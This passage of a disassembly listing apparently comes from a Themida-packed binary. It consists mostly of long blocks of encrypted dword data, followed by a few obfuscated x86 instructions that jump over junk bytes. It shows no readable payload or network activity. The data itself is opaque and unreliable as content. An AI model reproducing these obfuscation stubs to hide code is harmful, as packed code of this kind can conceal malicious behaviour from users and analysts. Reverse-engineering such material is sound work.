		dd 0B209FEBCh, 0C13C3D50h, 3B13256h, 75B13259h,	0B393DEB3h
		dd 226763D1h, 0F34EC11Fh, 3787360Dh, 0ABB122BEh, 47B7B856h
		dd 0C703E276h, 17F424EBh, 1E381DD9h, 5D313DE4h,	0F1B13256h
		dd 1A0BB937h, 0CBB72B2Dh, 0B3768D59h, 0D9D0CADDh, 4A32C79Fh
		dd 63353D56h, 3DB13255h, 0AEB7B259h, 0DCBE3256h, 0ABB13256h
		dd 0C9FDE3D7h, 61D03100h, 8AD05251h, 45493E23h,	0D0BE3A23h
		dd 0AEB1325Eh, 57B3BC59h, 0CAD13256h, 0C3363D06h, 3B13256h
		dd 75B13247h, 90ED27FCh, 0E683E640h, 52BDA452h,	254FA8E7h
		dd 0A367DA62h, 5ABE3256h, 0EAB1325Eh, 75B3BF59h, 0DBD13256h
		dd 0D8BEF25Dh, 0AEB1324Ah, 57B0BE59h, 20443256h, 0D5B9DB51h
		dd 0EECB3256h, 5F7E7A21h, 96583EF1h, 0A5B13256h, 47A5F5D5h
		dd 57B13250h, 57771464h, 0B6582765h, 34ECDA9h, 75B13245h
		dd 4F58F9F5h, 0F2384AD9h, 0B3B80A06h, 1880B84Ah, 223D9C39h
		dd 2A44CE13h, 6ABE3E23h, 75B13257h, 0B2C4CDA3h,	5DB6B059h
		dd 27BE3256h, 57B13257h, 5386CDA3h, 0D5B961BEh,	2ABACB56h
		dd 75A5B659h, 0B5493256h, 5DB133DCh, 5F58CB56h,	58B13254h
		dd 0ABB133DBh, 903ACE56h, 0ED88CAAAh, 776FB059h, 45493256h
		dd 0D6BECE13h, 0AEB1325Eh, 57B3B059h, 0CAD13256h, 0E0E3D36h
		dd 8B61B930h, 75B54DD5h, 0BAF0B659h, 50583256h,	30B13256h
		dd 9266160Bh, 228B754Dh, 821A5F8Fh, 0EABD4DD5h,	7594B659h
		dd 30BE3256h, 5DB13246h, 0AEB139BFh, 9EF40556h,	673D8EDCh
		dd 59F9BCF1h, 0EAB16EBFh, 75B4DB56h, 0BB573256h, 0E56B1B76h
		dd 514ECDA9h, 57A5DB36h, 98EF3256h, 3CFEE909h, 0D52B1AB7h
		dd 55416BA2h, 99296618h, 0E4D0ED99h, 0AEB13253h, 57B9B759h
		dd 2EBE3256h, 0D5B13254h, 41425336h, 75B0BE59h,	53483256h
		dd 0A24ECD59h, 0AEBAB159h, 58D13256h, 0ABB132D8h, 30E3D56h
		dd 0FACEB137h, 28353D53h, 53B13256h, 5DB1325Eh,	0FA535957h
		dd 9D6C578Ah, 0ADA14DD5h, 0D5C1B759h, 63BE3256h, 75B1325Ah
		dd 0BAB135BFh, 0BCEEAB56h, 4DDF8790h, 57B9BA59h, 24BE3256h
		dd 0D5B13254h, 12F05336h, 9CB575DDh, 0BAB13251h, 32B4DFEEh
		dd 25F836D2h, 0BE443E09h, 0ABB13250h, 7E7240B1h, 87585D0Bh
		dd 80B13257h, 43B575DDh, 52BD6DDDh, 0AEB134D8h,	963A5256h
		dd 42D0C0DDh, 0D5B13316h, 0EAB13FBFh, 9FDCAC56h, 0E8FB8D5h
		dd 2655F501h, 0E93AB8EFh, 0DCD75252h, 4C306395h, 0B8B0055Bh
		dd 0B53A5309h, 9CD1C75Ah, 0BAB1325Bh, 81BC8D1Dh, 6DE452FAh
		dd 0B34A7962h, 64316479h, 0EED06B7Fh, 6FBE3A09h, 75B13220h
		dd 0BAB0B459h, 0F4D3256h, 0AAE6B9AEh, 57B123BFh, 54079756h
		dd 0C2F57B70h, 4870ECF9h, 9B12410Dh, 0EF9A2D81h, 8B2CA46h
		dd 0AEA3DB42h, 183D3256h, 347852C6h, 49422AA0h,	6841B9E5h
		dd 41AE9C96h, 0DABD6DDDh, 0D6B8D7D6h, 749A538Fh, 0D7E152AFh
		dd 0CAE80C9Fh, 0DAB4D9D5h, 0EAB133DEh, 2F49CE56h, 0BAB137BFh
		dd 9B6A8A56h, 0DB58AE49h, 58B13256h, 0ABB133D7h, 923ACB56h
		dd 0EABADB52h, 1F703256h, 637F6C66h, 626E2B62h,	0A2EEB975h
		dd 57B8DB36h, 74B23256h, 0CEEC0DAFh, 8B5DEFE9h,	7AB56D7Dh
		dd 0BAB130D1h, 0A4D05256h, 0A1B4D9D5h, 57B133DBh, 21B2CE56h
		dd 0D3A23C9Fh, 0EAA1BD59h, 0FFBE3256h, 0BAB1325Ch, 5DB137BFh
		dd 5509856h, 0DCD1D7FDh, 0ABBCDB9Dh, 6FB33256h,	94F5D8A2h
		dd 7D5E870h, 0DB276B64h, 5EA14DD5h, 0AEBBB759h,	31D13256h
		dd 1F51DAECh, 20F05309h, 61D1EB7Dh, 8B0E3DADh, 0BF3E3D37h
		dd 3DB13256h, 0CFEE64AEh, 56B06EDFh, 544E8AAEh,	0C758CDA9h
		dd 0CAB13256h, 25F3103h, 28FAFFD4h, 7BBBFA25h, 43FA4478h
		dd 57B48B50h, 0A2583256h, 5FB13256h, 0C41B25CFh, 71FCF64h
		dd 0B75899A5h, 1B13256h, 4E77E049h, 68ABB3E8h, 0D7F83C22h
		dd 2A4DECBFh, 0EB353DA9h, 8CB13256h, 52E75237h,	5DB1325Eh
		dd 1BB06718h, 7DDB9119h, 62D06908h, 0D5B134BFh,	75738A56h
		dd 7AE3485Fh, 0BAB13AD3h, 5F373D56h, 0CEB13256h, 57A1F037h
		dd 0ABB139BFh, 0ADF0B56h, 0F2E0C36Ch, 22248612h, 563ACB03h
		dd 0E2BE5236h, 603A54A1h, 57BFDA37h, 0C5FA3256h, 0DFE781CFh
		dd 0EB03AEB2h, 0CC054A22h, 0DBEA5336h, 0B44DF6D5h, 0AEB13258h
		dd 1EC8020Dh, 0F82C6D73h, 97545AA7h, 8AD18E2Ah,	75B126BEh
		dd 0EB428956h, 0D870799Ch, 0E95D4AAAh, 0E410AFA3h, 0FE45A928h
		dd 0D943B339h, 0B5EE560Fh, 9DD0EBDDh, 0BAB13256h, 0FF5BB30Ch
		dd 0A1B72BEBh, 57B121D0h, 0ABBFDB56h, 864E3256h, 0D0D5D00Dh
		dd 7D5BE2DEh, 0D2359187h
		dd 100BB9AFh, 47B72B2Dh, 57B13250h, 66B3DF99h, 6ED1D19Dh
		dd 0ED2F3854h, 0BC8253AEh, 0BA8EB1AAh, 59F2B659h, 2CBE3256h
		dd 57B13257h, 42B6B9AAh, 0D5B1325Ch, 0BA357989h, 9F0829B1h
		dd 0CF4E3741h, 5DA1DB5Ah, 0DDCF3256h, 5CEC5D02h, 3A9BFB73h
		dd 3FDAFB92h, 9F4E36C7h, 74333D5Eh, 46B13256h, 5A3E3D06h
		dd 0A1B13256h, 57B133D2h, 0BE59CE56h, 0DAB13252h, 0EAB133DFh
		dd 0B5BACB56h, 0BA8BB759h, 0D3BE3256h, 0AEB13257h, 37B6B9AAh
		dd 0CDEF6236h, 4A10F2D7h, 0EABEDA37h, 22B53256h, 0ABCC0BC1h
		dd 0CD0DFCDDh, 117DB621h, 98305412h, 0CAEA0B43h, 0D5B164BFh
		dd 0EB3D3D56h, 89B13256h, 53A5F5D5h, 5DB1325Dh,	7AD9B8ABh
		dd 0C93FD78Ah, 0A4767BADh, 0D5B139D1h, 0EAB7DB56h, 11593256h
		dd 51DB18DEh, 0A24E0ABFh, 0A75852A9h, 0EBB13256h, 5F708A70h
		dd 5E993A9Dh, 278CE5D7h, 7AD002F6h, 0BAB138D9h,	3E05256h
		dd 0B9BAD9D7h, 0DED024D9h, 5444CE13h, 3C443E23h, 0EAB1325Bh
		dd 0BC460689h, 36803B62h, 32F49E5h, 0A6C4CD3Ah,	604ECAAFh
		dd 0A4E86236h, 0D5B132D6h, 0A7595356h, 7AB13255h, 0BAB133D4h
		dd 9DBACB56h, 0AE98B659h, 50583256h, 20B13256h,	2A4C6FD7h
		dd 0E4581131h, 9CB13255h, 0BAB13245h, 5BE83097h, 815FD971h
		dd 0E52F3568h, 0E5F1B6EDh, 5E1795E2h, 0D348CE13h, 9F333D51h
		dd 53B13254h, 5DB1325Bh, 85FF331Ah, 3E534CBEh, 47ADCDFAh
		dd 29F4CD5Dh, 0EAA0B059h, 79583256h, 18B13256h,	25A32567h
		dd 5DE2E564h, 374A5FBFh, 5EA692EFh, 56D0CE62h, 0E5B13629h
		dd 75B11AD2h, 0C532C756h, 0D9BE325Ah, 0AEB1324Bh, 57B0B359h
		dd 42483256h, 0D5B13208h, 0EC343D36h, 7AB13256h, 0BAB132D6h
		dd 0AD0E3D56h, 514E8A37h, 0D7BECDA9h, 0ABB1325Ch, 54818236h
		dd 0E5C11289h, 70085353h, 53B13256h, 5DB1325Dh,	0BA65D22Ah
		dd 90A75DB1h, 58E5D46Bh, 5ED752FDh, 0EAA0DB95h,	0AF363256h
		dd 0B363FA5Dh, 37982281h, 0D918863Eh, 36668201h, 544FECBFh
		dd 0AA32CEA9h, 6EBE3746h, 75B132D2h, 0AACEB1AFh, 9A343D50h
		dd 0CEB13256h, 1726D8E8h, 170E5429h, 0DAF053EEh, 0EAB135D4h
		dd 743A3D56h, 46B13256h, 52B575DDh, 0AEB133D4h,	83ACE56h
		dd 0A359525Ah, 19B13256h, 0B3E3B42Ah, 9CEC6E20h, 0BAB1325Ch
		dd 0FB432119h, 6026C4A2h, 0D6EF0286h, 7A17A081h, 81585359h
		dd 8AB13257h, 75B122BFh, 911FB56h, 52AEDD99h, 98B9AB83h
		dd 3F6353C3h, 0ABBCDB9Ah, 832D3256h, 56EC941Bh,	19039B5Fh
		dd 0DBFCF221h, 52B575DDh, 0AEB138D5h, 0E8BE5256h, 6A305491h
		dd 0B5D08EC5h, 0E01F8930h, 75B13EBFh, 0BCD44556h, 0D2FABAEDh
		dd 6E8D6D28h, 83A53CEh,	4244CE5Ah, 0D5B1328Bh, 0BD40B936h
		dd 75B13DBFh, 0C6CA8B56h, 0E964CF1h, 0FD04CFD5h, 0B45A6FFh
		dd 0EC3A530Fh, 54D75252h, 0E5779A94h, 75B130DCh, 0DB998456h
		dd 0B4BD6DDDh, 0AEB13245h, 402D456Eh, 533AC81h,	89059F9Fh
		dd 6BC1F0CDh, 151C7582h, 9472E8EEh, 5DA1DA79h, 0CF423256h
		dd 0C86FF716h, 0C176CFE3h, 6DB6FA90h, 3C3A5FFEh, 2A9A530Dh
		dd 0B13A3D52h, 0B4B13256h, 0AEB13250h, 0EDE35343h, 40324872h
		dd 6ABE5253h, 0EAB9DB8Ch, 0BC7A3256h, 5E385D96h, 0DED08443h
		dd 0A1B22229h, 57B176D3h, 2B065256h, 0D5B122BEh, 77280256h
		dd 0B2B65F2Bh, 0C5A1CF82h, 0A1841495h, 382F895Eh, 36EE6A65h
		dd 0ABB126BFh, 0BF44B056h, 46D0157Ah, 8BFBDAE1h, 151270F4h
		dd 3F2790DCh, 2CBE73D4h, 57B13253h, 7A0E3D36h, 0DA681937h
		dd 0EAB120D5h, 793A3D56h, 53B13256h, 5DB13251h,	942805DCh
		dd 0DE8DA1BDh, 0A4B0330Ah, 0D5B127DDh, 0EAA1DB56h, 0FDC43256h
		dd 90872523h, 5F4992DEh, 5152D9FCh, 0A809D49Bh,	0CB4ECDA9h
		dd 5B6B8D30h, 0EAB120BEh, 96458B56h, 0A3384800h, 0D6DF5F8Ch
		dd 0BAE7A73Bh, 0BEFA299Fh, 0ABB13251h, 0EB9132B8h, 0B35811A4h
		dd 75B48B37h, 53D13256h, 5DB1325Ah, 4B17D712h, 0D6466EA6h
		dd 94CC9547h, 0DA1AC137h, 0EAB138D8h, 75B4DB56h, 0AF9D3256h
		dd 0B402C518h, 514ECEF1h, 31D153AFh, 8AD6D8D7h,	0B472B930h
		dd 0E273CE9Fh, 0CABE5256h, 0BE353D94h, 3BB13256h, 0CF41B6EDh
		dd 0BB3ACB03h, 0ABB0B459h, 56443256h, 8A44CE92h, 75B2B359h
		dd 31D73256h, 52D1538Eh, 0AEB126DDh, 0D6BE5256h, 0ABB13256h
		dd 0D5B135BFh, 7D2CC956h, 0BBE3DF89h, 0B2F4B937h, 5DB13ABFh
		dd 35242256h, 6D7C39F3h, 0A7F40911h, 0D59EB059h, 0D1483256h
		dd 0F2BE2213h, 0BAB13273h, 5DB4DBAAh, 860E3256h, 90491D8Eh
		dd 0ABB1CE13h, 3C493256h, 0EAB13270h, 75B13ABFh, 7B2E3856h
		dd 5E2623C7h, 52F4F5E6h, 57B13257h, 0A0585336h,	3CB13256h
		dd 0EAB13250h, 0C2BBA972h, 53D0FCB0h, 5DB13245h, 8ED3CED1h
		dd 8F6E2E96h, 39A9ED0Ah, 342FE6C4h, 61A98A81h, 15D1CE13h
		dd 526A8D59h, 5DB13247h, 2498426Ch, 5CAABB4Ah, 72EC37FDh
		dd 8A5676CFh, 5BD06DB9h, 9CD15300h, 0BAB1325Ch,	0AF3D0826h
		dd 65EB06Fh, 5158A66Ch,	0AEB13256h, 0E3BB0A2Dh,	8A785331h
		dd 75B0B859h, 46443256h, 5DBDF037h, 0AEACB459h,	0D7BE3256h
		dd 0ABB13241h, 0D5B120BFh, 0D999B256h, 838B60B7h, 3566ECDBh
		dd 0FF8C591Ch, 5BF0BE69h, 57BDDB03h, 33A63256h,	0C32CFADAh
		dd 0B0968D33h, 993AA62Ah, 0BAB122BFh, 23324C56h, 494845BDh
		dd 0A1C555ECh, 1F80B341h, 2975B196h, 0EAB126BFh, 0B8B3DF56h
		dd 69AED19Dh, 0EF0F41DEh, 6691A84Dh, 0CDE48307h, 0A258520Ch
		dd 0C6B13256h, 6CBB1AA7h, 5FE50216h, 0BAB132BEh, 0B7306856h
		dd 0A8A8F195h, 926C8836h, 20BE5D86h, 0D5B13253h, 5C67B330h
		dd 0FED15340h, 0AB303DA5h, 0B4B13256h, 0AEB1325Ah, 864E65CAh
		dd 9D54A6BEh, 6B28F1BEh, 0E5780137h, 75B12BD0h,	0BAA5DB56h
		dd 0B8653256h, 864F2220h, 6040BA47h, 973D3E10h,	1866D29h
		dd 31829BBBh, 75BCDB36h, 207E3256h, 0E5B3B4FAh,	42FB74CBh
		dd 3179866Fh, 0CA827AEEh, 294D6FDFh, 91FC88DDh,	0F64D344Fh
		dd 3EBE3269h, 5DB130A6h, 0AEA9BD59h, 44583256h,	9CB13256h
		dd 95C7A7DBh, 28109816h, 0B4EDE878h, 3B07DD66h,	6232A9F4h
		dd 9B343DA9h, 58B13256h, 0ABB133D2h, 0D358C756h, 74B13256h
		dd 4C53DCA2h, 0AE76B1C4h, 5DB6DB36h, 3DEA3256h,	32D343Ah
		dd 9B42B330h, 0B4DA1D72h, 154E90BFh, 74323DA9h,	4FB13256h
		dd 5DB54DD5h, 0AEF4B659h, 0D7BE3256h, 0ABB1325Ah, 0D5B7BC59h
		dd 69BE3256h, 75B13256h, 0BABD4DD5h, 5D98B659h,	23BE3256h
		dd 57B1324Bh, 0ABA6B559h, 0C7583256h, 0ACB13256h, 13BAFAACh
		dd 0D68D99C2h, 0C0124A0Fh, 8091A2D9h, 57FADB5Eh, 54443256h
		dd 0DA4DCE13h, 0EAB135D0h, 0AB3A5256h, 0DB70B930h, 3DA5F5D5h
		dd 0AEB13EBFh, 9132F456h, 0BFA75821h, 2383E35Fh, 3D0C743h
		dd 8A4ECD49h, 0AC353DA3h, 52B13256h, 0AEB122D9h, 57BADB56h
		dd 462B3256h, 0AB564F49h, 6ED2CA31h, 65CEB1FEh,	0C353D53h
		dd 0B4B13256h, 0AEB13246h, 0C9150788h, 0CD9D0967h, 0D98C1761h
		dd 0BF10557Bh, 73A14DD5h, 0BA74B759h, 51583256h, 20B13256h
		dd 3D57E94Eh, 0EE4A78A9h, 9437A1A3h, 0EAB13CBFh, 0D8C83E56h
		dd 0C865E4F2h, 69A91394h, 0CE07D218h, 0A776B330h, 0EC3A53C8h
		dd 0D5B6DB52h, 7BAF3256h, 0EFA09806h, 79315208h, 3C42B9C6h
		dd 0CEBD6DDDh, 57B13BBEh, 0AF904456h, 0C1B593C2h, 6CBE4781h
		dd 75B13256h, 0AA3B3D0Eh
		dd 0B4B13256h, 0AEB1325Dh, 93A3385h, 3D2FF1A1h,	0B43EF120h
		dd 0EABFBA59h, 7C583256h, 63B13256h, 6EC1F6A4h,	0AE219D1Fh
		dd 57B1E5BFh, 0AD343D56h, 0B5B13256h, 253A5336h, 71F6B937h
		dd 31D0CB36h, 3DD13E09h, 2FBED8DCh, 57B13256h, 6A306437h
		dd 0C1D20B28h, 6C58530Fh, 9CB13256h, 0BAB13251h, 4684BDBEh
		dd 252E3081h, 44583611h, 58B13256h, 1246C0FCh, 0F4418592h
		dd 0ABA014C1h, 218ED65h, 23A12BCh, 0AEBFDB5Ah, 0EEBD3256h
		dd 4DACE913h, 924B2DE2h, 121C7735h, 15B56D7Dh, 0B502F3DDh
		dd 585AB137h, 2747B236h, 6867B330h, 0D432532Ah,	50BE3146h
		dd 0EAB1327Fh, 79313DAFh, 0B5B13256h, 5DB134DFh, 0AE343D56h
		dd 16B13256h, 0ABBEBB59h, 0DF583256h, 0F1B13256h, 87EA3E1h
		dd 25F01681h, 526819A8h, 0AEB129D0h, 42383D56h,	42B13256h
		dd 0D5B13246h, 0B63103E3h, 0DE11E371h, 0B3F7E86Eh, 7D1A7A95h
		dd 0AFB06EDFh, 57B134BFh, 21EC8E56h, 6D8B899Eh,	154ECDA9h
		dd 74363D36h, 46B13256h, 5DB48B37h, 0A5583256h,	0C3B13256h
		dd 9269005Dh, 0C6CB329Eh, 41422319h, 67353D36h,	52B13256h
		dd 5DB1325Ah, 0EA0EFED2h, 267EE76Bh, 0D7CC60B4h, 8109540Ch
		dd 0CA5853D9h, 9C4ECDABh, 0BAB13242h, 0D265BBA9h, 0CAB7B637h
		dd 0CD0ADA88h, 0AA343616h, 0D0FFE113h, 0AF3ACA37h, 7A78CAAAh
		dd 0BAB123D4h, 54585256h, 52B13256h, 0F5CAA54Fh, 0B9DA238Bh
		dd 0DA7253A3h, 0EAB13AD2h, 77343D56h, 0DAB13256h, 57586237h
		dd 67B13256h, 3C97F3ACh, 583367BFh, 3DD163D8h, 0EAB1325Fh
		dd 1622B218h, 4AE685E7h, 5DB6DA28h, 0F71F3256h,	6EF4D54Ch
		dd 0CDE96865h, 1A85F8D7h, 61D16137h, 1448B9A4h,	0BAB1DAA3h
		dd 0DCEB3256h, 0B77696BCh, 0DCBE5250h, 0ABB13256h, 0BB0F8830h
		dd 67BE5237h, 75B13253h, 75CB92EDh, 5DB8DB40h, 0F8483256h
		dd 19BE0096h, 0CA7BA7DFh, 0AE42A8DBh, 344344Fh,	75B13251h
		dd 18AD876Ah, 0E5B1A5FEh, 0AEB13232h, 57B13EBFh, 1822E256h
		dd 4D799366h, 2A8A561h,	0F4D7527Ah, 52615F88h, 5DB13242h
		dd 43B3FF35h, 149D7401h, 0EF61501Ah, 85C50B7Ah,	3556F621h
		dd 14E96A05h, 0BAB475BEh, 563ACE56h, 0A17009AAh, 57B13AD0h
		dd 0A9373D56h, 0B5B13256h, 0E9333D37h, 15B13256h, 295853A3h
		dd 3DB13256h, 0AC343DA3h, 0DDB13256h, 0E0B25397h, 148AC752h
		dd 0EA0FB059h, 76493256h, 0B158221Dh, 8EB13256h, 3EAA9237h
		dd 2715A50Ah, 6A8A8805h, 0D58DB059h, 0FE583256h, 0BFB13256h
		dd 886B0EAFh, 0D934EBA7h, 0D6FBD88Ch, 0A7FF766Ch, 42F47FD9h
		dd 0D5B13272h, 0EAA9BF59h, 66583256h, 51B13256h, 58577EB1h
		dd 15FA46FCh, 0ABA21389h, 17E88A18h, 4F589CB3h,	1FB13256h
		dd 75B1A6BFh, 5BE5256h,	5F3C3D80h, 0FEB13256h, 0DDBE530Fh
		dd 0ABB13250h, 160E3D36h, 703C53AFh, 73AB4941h,	4669B336h
		dd 0D6A31953h, 2ABE538Fh, 57B13245h, 0ABBCBB59h, 0DD583256h
		dd 9CB13256h, 4A1BECC0h, 45568F12h, 1758C785h, 0CEB13256h
		dd 57B1B159h, 26BE3256h, 0D5B13255h, 8B42B930h,	0B8CA8DBh
		dd 0B5D1344Ch, 8D30C2E9h, 0CC3EA49Fh, 563C3D37h, 5EB13256h
		dd 0C558E1A9h, 65B13256h, 9AF384E8h, 0A033A0BEh, 3CC8EA24h
		dd 475BF918h, 57B13253h, 1C34F805h, 0DAD1699Dh,	0EAB131D9h
		dd 0A151B256h, 0FF7BB330h, 0D6D153C9h, 0F7D0CB9Ch, 57B139BFh
		dd 0BDC3F256h, 739C57BAh, 1678FD6Bh, 75BADB0Eh,	73993256h
		dd 41D2E281h, 7559CC86h, 58D1F1C0h, 0AD58E0E1h,	0A6B13256h
		dd 0D7C6ED77h, 9CE45380h, 0BAB13247h, 45EA23BBh, 2D6B3D48h
		dd 0C308EF6Ch, 0A9E3EB52h, 0DA5DB9DAh, 0EAB133D2h, 7559CA56h
		dd 0E0B13256h, 9470D8D7h, 21BE344Fh, 57B13253h,	5EEF6036h
		dd 3C305237h, 0BF0BC9B3h, 75B13BBFh, 79D38356h,	0D4B9000Dh
		dd 5BD084C9h, 44595236h, 0F0B13256h, 3D705629h,	0BD77D1F2h
		dd 3FA235AFh, 0EAD694E1h, 3CD1DC76h, 6D30540Ch,	0DAD0B4F0h
		dd 0B2CAC1ECh, 903ACA50h, 0EAB6DB5Eh, 96663256h, 926D9B9Dh
		dd 5DB6DB99h, 0E8C63256h, 0F039851Ah, 0A4B6BB6Ch, 0D5B133D0h
		dd 61BECE56h, 75B13240h, 0BAA1BD59h, 56583256h,	46B13256h
		dd 0F7691185h, 177917FEh, 903A7A9Ch, 0AD38CA5Ah, 75B7DB52h
		dd 0BFBB3256h, 28ECBBD0h, 0CEA177DDh, 5159CADDh, 0A6B13256h
		dd 93C05938h, 0EABBDB40h, 0E8F93256h, 8ED799C0h, 7D3FFD9Ah
		dd 0E938530Dh, 5B3B3D5Ah, 0A4B13256h, 0D5B134D2h, 0EA383D56h
		dd 0FEB13256h, 0B5582613h, 71B13256h, 0D385EF81h, 81E60F28h
		dd 2D9A9E63h, 92381F91h, 5DBE5246h, 763A3D99h, 3AB13256h
		dd 3CD03D99h, 166BB836h, 75A67B9Ch, 694DFB37h, 52BE3246h
		dd 0EAB13257h, 154852AFh, 5A305436h, 4F597B2Ah,	0DBB13256h
		dd 5CB4735Ch, 6334273Bh, 1894754Ah, 3CF3B572h, 14D068FCh
		dd 0AB50B790h, 52F63445h, 0AEB133D1h, 4558CE56h, 82B13256h
		dd 0E16AA45Bh, 57BB4BF5h, 2F8D4BCBh, 14CEF755h,	2EAB5A8Ah
		dd 2ED19A41h, 8630F490h, 9D4F7541h, 3C04CD37h, 3B72148h
		dd 75B13242h, 296A21D0h, 4DDFE2BAh, 3A6B8490h, 0A5C4C7F9h
		dd 64E6DE3Eh, 0A982B7DBh, 15443440h, 79585286h,	38B13256h
		dd 46029E2Bh, 1D23B9F3h, 0BE105BF7h, 0ABB1325Fh, 0F98A03C8h
		dd 0D7940530h, 7AE3535Ah, 0BAB133D1h, 0D7BECE56h, 0AEB1325Bh
		dd 57B13ABFh, 628FAB56h, 0FB7F1FCBh, 3E3BBFD8h,	9CB72B2Bh
		dd 0BAB13245h, 2C0DD7CCh, 1B6C6CA7h, 0D4F80E5h,	0AB4412CBh
		dd 84265C77h, 0EAB134BFh, 0BD681856h, 459AC476h, 593A3D86h
		dd 0CEB13256h, 0DD05336h, 0AF3B3D36h, 0B3B13256h, 8B5B1BEEh
		dd 0A133BFAEh, 53B72B2Bh, 5DB1325Ah, 0F57EED3Fh, 0C2F1A378h
		dd 7EE4081Dh, 0D9F18559h, 0EAB4DB36h, 0A783256h, 318EB7D4h
		dd 853A53A6h, 0A14460A3h, 0A2EBC767h, 0AE58F155h, 90B13256h
		dd 0BADEE3EAh, 6C14B0DFh, 3CBE3445h, 5DB13251h,	0AEB0B659h
		dd 36443256h, 0CB44F1AAh, 1A305436h, 65BE7E06h,	0B13256h
		dd 0F516161h, 168Eh, 11E900h, 0D2340000h, 0A36D01DDh, 312039C0h
		dd 95C1BB05h, 521834D2h, 0E8F8h, 815A0000h, 19CC64EAh
		dd 0C0816006h, 3D35516Bh, 4149BF66h, 0DE961h, 4C00000h
		dd 8761D005h, 0AF260D39h, 0F1BDAF7h, 1980h, 14E900h, 0A270000h
		dd 0D93DE09Bh, 69269F39h, 657C8148h, 0A8689EBDh, 605263BDh
		dd 3890Fh, 0E9800000h, 6860F9Fh, 0F000000h, 84h, 828B6100h
		dd 61319A5h, 0C850Fh, 8D0F0000h, 6, 8B0Fh, 6DB90000h, 0F941C64Eh
		dd 0F60E1F7h, 28Fh, 0F616000h, 198Fh, 14E900h, 0E94E0000h
		dd 525EACB2h, 27121401h, 8E289577h, 0F686A82Bh,	5A61D001h
		dd 178D0Fh, 12E90000h, 0ED000000h, 0E9CFDD88h, 2903DE61h
		dd 489A33ABh, 0B964B798h, 303905ADh, 25F90000h,	7FFFFFFFh
		dd 5E9h, 4B3D8A00h, 8289BE22h, 61319A5h, 830F5AF5h, 1
		dd 880F59F8h, 1, 8D0FC3F8h, 1, 8A0F60FCh, 3, 66CEBF0Fh
		dd 613BD6BEh, 6052FC51h, 7E9h, 7E75A900h, 987818E5h, 14E8h
		dd 64001200h, 505DB220h, 0ED7281E6h, 1A233587h,	0EF6586E9h
		dd 615FF855h, 0E8h, 0EA815A00h,	619CD9Bh, 0C88BFCF9h, 5800Fh
		dd 8A600000h, 0E861F9D3h, 0FFFFFE8Ah, 0DE9h, 23ECD400h
		dd 6A898D83h
		dd 0AE9BC8h, 0D23368E0h, 60F1F7FCh, 0FBC88166h,	557BA63h
		dd 8B61007Fh, 1880FC2h,	0F8000000h, 0AE95Ah, 13250000h
		dd 55F67260h, 1B98DCB9h, 0F506059h, 8Dh, 12E85B00h, 9B000000h
		dd 7FC9000Dh, 493F8582h, 0AD9F86B3h, 0D57D95BAh, 58FEB18Fh
		dd 0EE9C361h, 51000000h, 0CD5A8F0h, 0C137A2C5h,	43FF39F9h
		dd 60C08B71h, 7E9h, 95A8B000h, 534581E3h, 0C08B61F9h, 0E8E0Fh
		dd 9E90000h, 0DA000000h, 0FB360DAh, 0B173019h, 9200858Dh
		dd 0FFF90619h, 8B66F9D0h, 0D48060C1h, 0DE95Bh, 9ED90000h
		dd 0E2D7FB2Ch, 0A3E26888h, 6144890Fh, 0CC40858Dh, 6E90619h
		dd 75000000h, 32577986h, 1D85894Ch, 0F061309h, 186h, 0CE9FC00h
		dd 60000000h, 0C9B44806h, 3058EC7Bh, 8DCB375Ch,	19CD6A85h
		dd 0F60FC06h, 28Bh, 66F18B00h, 7AA3C381h, 0C9858961h, 0F061301h
		dd 882h, 28E0F00h, 60000000h, 0B8F561h,	0F5000000h, 840FC00Bh
		dd 158h, 0E185C6F9h, 56061311h,	0EE9h, 8CAFF500h, 29A2D51h
		dd 0E8CCBF04h, 681B6D09h, 0A9C530DFh, 0E9B5FFF5h, 6006131Eh
		dd 5BFA8B53h, 33858D61h, 0E906167Ch, 0Fh, 66DB989Ch, 7CC6A624h
		dd 0B57D8C0h, 0FF758D97h, 816060D0h, 3E212CEFh,	14E83Fh
		dd 872A0000h, 926D7638h, 25D80ED5h, 0BAEF8438h,	22B716DFh
		dd 615BFFF2h, 0F961C38Bh, 0DB816050h, 42CA5D98h, 2850Fh
		dd 61600000h, 398D8D61h, 0F506131Ah, 6AFCF851h,	66536004h
		dd 515FD38Bh, 615E5853h, 100068h, 0FE900h, 78350000h, 451458Fh
		dd 0F3E692C4h, 9853C12h, 0B9B5FF80h, 0F06130Bh,	58Fh, 0B7F96000h
		dd 0D0FF611Dh, 0E840Fh,	9E90000h, 3F000000h, 767C9CAEh
		dd 0B63A1259h, 0BB9BD8Bh, 0F600613h, 18Bh, 0F53FC00h, 615FDEB7h
		dd 603C7F03h, 0DE8h, 0F6C7C900h, 0E056D950h, 17C7606Eh
		dd 11E97558h, 1E000000h, 0D6ED1B7Bh, 3AB5CA63h,	1951E01Fh
		dd 0E842992h, 0D18B665Eh, 0F8C78161h, 60000000h, 0EE8h
		dd 7F1A4100h, 3F0F2EDh,	739BDB9Bh, 8B44D163h, 0EE805ECFh
		dd 47C761FDh, 2024h, 800FFC60h,	0Ch, 6850Fh, 850F0000h
		dd 0
; ---------------------------------------------------------------------------
		lea	ebx, [ebp+6132A2Dh]
		pusha
		jb	loc_5E931B
		jmp	loc_5E931B
; ---------------------------------------------------------------------------
		dw 0BE02h
		dd 0DE65BF33h
		db 3Fh,	0E8h, 2
; ---------------------------------------------------------------------------


loc_5E931B:				; CODE XREF: Themida_:005E9307j
					; Themida_:005E930Dj
		jmp	loc_5E9331
; ---------------------------------------------------------------------------
		dd 4764756Fh, 1966663Dh, 37430549h, 10139558h
		db 35h
; ---------------------------------------------------------------------------


loc_5E9331:				; CODE XREF: Themida_:loc_5E931Bj
		popa
		mov	eax, [ebx]
		jmp	loc_5E9345
; ---------------------------------------------------------------------------
		db 0F0h, 0CEh, 0DBh
		dd 8139130Ch, 523E80C3h
		db 21h
; ---------------------------------------------------------------------------


loc_5E9345:				; CODE XREF: Themida_:005E9334j
		or	eax, eax
		jz	loc_5E9388
		jmp	loc_5E9366
; ---------------------------------------------------------------------------
		dw 103Ch
		dd 4FFF5504h, 0BCF0854Dh, 0FEB9C752h, 0F847F917h
		db 43h,	0B8h
; ---------------------------------------------------------------------------


loc_5E9366:				; CODE XREF: Themida_:005E934Dj
		mov	eax, [eax]
		pusha
		mov	ch, bh
		adc	ebx, 3AF69F2Ch
		popa
		mov	[ebx+4], eax
		jmp	loc_5E9388
; ---------------------------------------------------------------------------
		dw 67FEh
		dd 78CD3178h, 6C8C5C77h, 4CE23C9h
; ---------------------------------------------------------------------------


loc_5E9388:				; CODE XREF: Themida_:005E9347j
					; Themida_:005E9375j
